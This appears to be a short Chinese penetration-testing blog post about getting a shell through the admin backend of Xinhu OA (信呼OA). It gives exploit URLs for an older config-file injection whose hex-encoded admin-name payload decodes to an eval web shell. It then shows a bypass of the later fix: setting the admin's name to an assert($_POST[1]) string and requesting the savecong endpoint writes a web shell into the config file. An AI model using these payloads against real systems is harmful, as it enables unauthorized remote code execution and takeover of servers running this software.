前言
参考链接:https://www.freebuf.com/articles/web/286380.html最近打点的时候遇见个信呼OA,用的上述的后台配置文件getshell方法成过getshell
原本打算复现一下的,后面一看版本最新的。。。
(后面重新看了一下,发现修复不严谨。在后台用户重命名处修改即可重新利用)
在V2.2.8的时候报出一处update拼接管理员名的注入+配置文件插入管理员修改config文件的信息
之前的payload利用:
<span>http://127.0.0.1/index.php?a=change...me=0x610A6576616C28245F504F53545B315D293B2F2F</span><br><span>http://127.0.0.1/index.php?a=savecong&m=cog&d=system&ajaxbool=true&rnd=705961</span><br><br><span>a:函数名称</span><br><span>m:类名称</span><br><span>d:处理文件文件夹父路径名称</span><br>
路由分析
以前的漏洞点分析:
gerenClassAction函数更新管理员信息的点
在V2.3.0后,int强转只取第一个参数的值
(一开始没看仔细还以为那里做了过滤,后面更了post也没发现那里不对。最好才看见这个int)
但是saveCongAjax函数没任何变化
直接利用后台的用户改名功能重命名管理员的名称,在rockClass.php新建了函数过滤,eval被砍了。直接用assert代替即可
用户管理处修改当前登录管理的姓名为:\rassert($_POST[1]);//
访问http://127.0.0.1/index.php?a=savecong&m=cog&d=system&ajaxbool=true&rnd=705961 即可